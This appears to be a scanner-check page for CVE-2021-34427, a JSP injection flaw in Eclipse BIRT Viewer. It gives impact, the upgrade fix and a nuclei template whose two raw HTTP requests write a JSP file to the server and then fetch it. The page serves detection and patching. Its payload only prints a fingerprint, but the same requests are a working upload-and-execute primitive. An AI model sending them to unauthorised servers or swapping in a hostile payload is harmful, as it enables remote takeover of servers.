Eclipse BIRT Viewer - Remote Code Execution

criticalseverity

9.8CVSS score

58%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Eclipse BIRT versions 4.8.0 and earlier contain a JSP injection caused by query parameters, letting remote attackers create and access malicious JSP files in the viewer directory, exploit requires sending crafted query parameters.

Impact

Unauthenticated attackers can create and access malicious JSP files via JSP injection, achieving remote code execution and complete server compromise.

Fix

Upgrade to Eclipse BIRT version 4.9.0 or later.

How to confirm it

Send: GET /document?__report=test.rptdesign&sample={{url_encode(payload)}}&__document=./test/{{filename}}.jsp/. ; GET /test/{{filename}}.jsp
Positive when: status_code == 200 and contains(body_1, "The report document file has been generated successfully.") and contains(body_2, "{{fingerprint}}") and contains(header_2, "text/html")

Run it with nuclei: nuclei -id CVE-2021-34427 -u <target>

The full check

id: CVE-2021-34427

info:
  name: Eclipse BIRT Viewer - Remote Code Execution
  author: us3r777,Synacktiv
  severity: critical
  description: |
    Eclipse BIRT versions 4.8.0 and earlier contain a JSP injection caused by query parameters, letting remote attackers create and access malicious JSP files in the viewer directory, exploit requires sending crafted query parameters.
  impact: |
    Unauthenticated attackers can create and access malicious JSP files via JSP injection, achieving remote code execution and complete server compromise.
  remediation: |
    Upgrade to Eclipse BIRT version 4.9.0 or later.
  reference:
    - https://bugs.eclipse.org/bugs/show_bug.cgi?id=538142
    - https://sec-consult.com/vulnerability-lab/advisory/remote-code-execution-bypass-eclipse-business-intelligence-reporting-birt/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34427
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-34427
    epss-score: 0.57982
    epss-percentile: 0.99095
    cwe-id: CWE-434
    cpe: cpe:2.3:a:eclipse:business_intelligence_and_reporting_tools:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: vendor
    product: business_intelligence_and_reporting_tools
    shodan-query: 'http.title:"eclipse birt home"'
  tags: cve,cve2021,birt,rce,file-upload,intrusive,vuln,vkev

variables:
  filename: "{{rand_base(20)}}"
  fingerprint: "{{rand_base(20)}}"
  payload: "<%out.println(\"{{fingerprint}}\");%>"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /document?__report=test.rptdesign&sample={{url_encode(payload)}}&__document=./test/{{filename}}.jsp/. HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /test/{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body_1, "The report document file has been generated successfully.")'
          - 'contains(body_2, "{{fingerprint}}")'
          - 'contains(header_2, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from